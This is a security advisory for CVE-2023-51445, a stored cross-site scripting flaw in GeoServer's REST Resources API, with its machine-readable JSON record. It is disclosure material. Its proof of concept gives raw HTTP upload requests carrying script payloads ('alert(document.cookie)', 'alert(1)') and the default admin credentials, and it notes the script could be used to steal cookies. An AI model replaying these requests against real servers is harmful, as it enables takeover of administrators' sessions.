ghsa-fh7p-5f6g-vj2w
Vulnerability from github
Published
2024-03-20 14:58
Modified
2024-03-20 21:04
Summary
Stored Cross-Site Scripting (XSS) vulnerability in GeoServer's REST Resources API
Details

Summary

A stored cross-site scripting (XSS) vulnerability exists that enables an authenticated administrator with workspace-level privileges to store a JavaScript payload in uploaded style/legend resources that will execute in the context of another administrator's browser when viewed in the REST Resources API. Access to the REST Resources API is limited to full administrators by default and granting non-administrators access to this endpoint should be carefully considered as it may allow access to files containing sensitive information.

Details

Upload a new Legend via the New Style page if user has permissions for this. This file is then not checked and is uploaded to the backend system. This file can then be viewed directly by requesting it via the API which will then view the file in its raw format without sanitisation. image

image

PoC

1 .User makes the following request to upload file. ``` POST /geoserver/web/wicket/bookmarkable/org.geoserver.wms.web.data.StyleNewPage?11-1.IBehaviorListener.0-dialog-dialog-content-form-submit&wicket-ajax=true&wicket-ajax-baseurl=wicket%2Fbookmarkable%2Forg.geoserver.wms.web.data.StyleNewPage%3F11 HTTP/1.1 Host: geoserver:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------37957706701641834739220342753 Content-Length: 619 Connection: close Upgrade-Insecure-Requests: 1

-----------------------------37957706701641834739220342753 Content-Disposition: form-data; name="id89_hf_0" -----------------------------37957706701641834739220342753 Content-Disposition: form-data; name="userPanel:image" -----------------------------37957706701641834739220342753 Content-Disposition: form-data; name="userPanel:upload"; filename="test.html" Content-Type: text/html

-----------------------------37957706701641834739220342753 Content-Disposition: form-data; name="p::submit" 1 -----------------------------37957706701641834739220342753-- ``` 2. File is uploaded to the backend system and is viewable via the API at - /geoserver/rest/resourse/styles as per the screenshot above.

  1. If admin user views this file the Javascript is executed and this could be used to craft a payload to steal the user's cookies(as these do not currently use HTTPOnly) image

Alternatively -

If the user has permissions to use the API to make PUT requests then they can directly upload malicious files as per a request below. This would be viewable in the same way as above.

PUT /geoserver/rest/resource/styles/test2.html HTTP/1.1 Host: geoserver:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46Z2Vvc2VydmVy (admin:geoserver default credentials) Connection: close Upgrade-Insecure-Requests: 1 Content-Type: text/html Content-Length: 29

Impact

If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:

1 .Perform any action within the application that the user can perform. 2. View any information that the user is able to view. 3. Modify any information that the user is able to modify. 4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.

References

https://osgeo-org.atlassian.net/browse/GEOS-11148 https://github.com/geoserver/geoserver/pull/7161

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver:gs-restconfig"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.23.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-51445"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-20T14:58:17Z",
    "nvd_published_at": "2024-03-20T16:15:07Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA stored cross-site scripting (XSS) vulnerability exists that enables an authenticated administrator with workspace-level privileges to store a JavaScript payload in uploaded style/legend resources that will execute in the context of another administrator\u0027s browser when viewed in the REST Resources API.  Access to the REST Resources API is limited to full administrators by default and granting non-administrators access to this endpoint should be carefully considered as it may allow access to files containing sensitive information.\n\n### Details\nUpload a new Legend via the New Style page if user has permissions for this. This file is then not checked and is uploaded to the backend system. This file can then be viewed directly by requesting it via the API which will then view the file in its raw format without sanitisation.\n![image](https://user-images.githubusercontent.com/6471928/232732469-7dbf2776-5712-4c68-bd12-e2403c136a7c.png)\n\n![image](https://user-images.githubusercontent.com/6471928/232732832-4fe2337f-9b28-41b1-9181-24abff4a6973.png)\n\n\n### PoC\n\n1 .User makes the following request to upload file.\n```\nPOST /geoserver/web/wicket/bookmarkable/org.geoserver.wms.web.data.StyleNewPage?11-1.IBehaviorListener.0-dialog-dialog-content-form-submit\u0026wicket-ajax=true\u0026wicket-ajax-baseurl=wicket%2Fbookmarkable%2Forg.geoserver.wms.web.data.StyleNewPage%3F11 HTTP/1.1\nHost: geoserver:8080\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: multipart/form-data; boundary=---------------------------37957706701641834739220342753\nContent-Length: 619\nConnection: close\nUpgrade-Insecure-Requests: 1\n\n-----------------------------37957706701641834739220342753\nContent-Disposition: form-data; name=\"id89_hf_0\"\n-----------------------------37957706701641834739220342753\nContent-Disposition: form-data; name=\"userPanel:image\"\n-----------------------------37957706701641834739220342753\nContent-Disposition: form-data; name=\"userPanel:upload\"; filename=\"test.html\"\nContent-Type: text/html\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\n-----------------------------37957706701641834739220342753\nContent-Disposition: form-data; name=\"p::submit\"\n1\n-----------------------------37957706701641834739220342753--\n```\n2. File is uploaded to the backend system and is viewable via the API at - /geoserver/rest/resourse/styles as per the screenshot above.\n\n3. If admin user views this file the Javascript is executed and this could be used to craft a payload to steal the user\u0027s cookies(as these do not currently use HTTPOnly)\n![image](https://user-images.githubusercontent.com/6471928/232733694-5a994b08-53e4-4cd0-a20e-ec8717537e26.png)\n\nAlternatively -\n\nIf the user has permissions to use the API to make PUT requests then they can directly upload malicious files as per a request below. This would be viewable in the same way as above.\n\nPUT /geoserver/rest/resource/styles/test2.html HTTP/1.1\nHost: geoserver:8080\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nAuthorization: Basic YWRtaW46Z2Vvc2VydmVy (admin:geoserver default credentials)\nConnection: close\nUpgrade-Insecure-Requests: 1\nContent-Type: text/html\nContent-Length: 29\n\n\u003cscript\u003ealert(1)\u003c/script\u003e\n\n\n### Impact\nIf an attacker can control a script that is executed in the victim\u0027s browser, then they can typically fully compromise that user. Amongst other things, the attacker can:\n\n1 .Perform any action within the application that the user can perform.\n2. View any information that the user is able to view.\n3. Modify any information that the user is able to modify.\n4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.\n\n### References\nhttps://osgeo-org.atlassian.net/browse/GEOS-11148\nhttps://github.com/geoserver/geoserver/pull/7161\n",
  "id": "GHSA-fh7p-5f6g-vj2w",
  "modified": "2024-03-20T21:04:09Z",
  "published": "2024-03-20T14:58:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/geoserver/geoserver/security/advisories/GHSA-fh7p-5f6g-vj2w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51445"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geoserver/geoserver/pull/7161"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geoserver/geoserver/commit/7db985738ff2422019ccac974cf547bae5770cad"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/geoserver/geoserver"
    },
    {
      "type": "WEB",
      "url": "https://osgeo-org.atlassian.net/browse/GEOS-11148"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Stored Cross-Site Scripting (XSS) vulnerability in GeoServer\u0027s REST Resources API"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading...

Loading...

Loading...

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.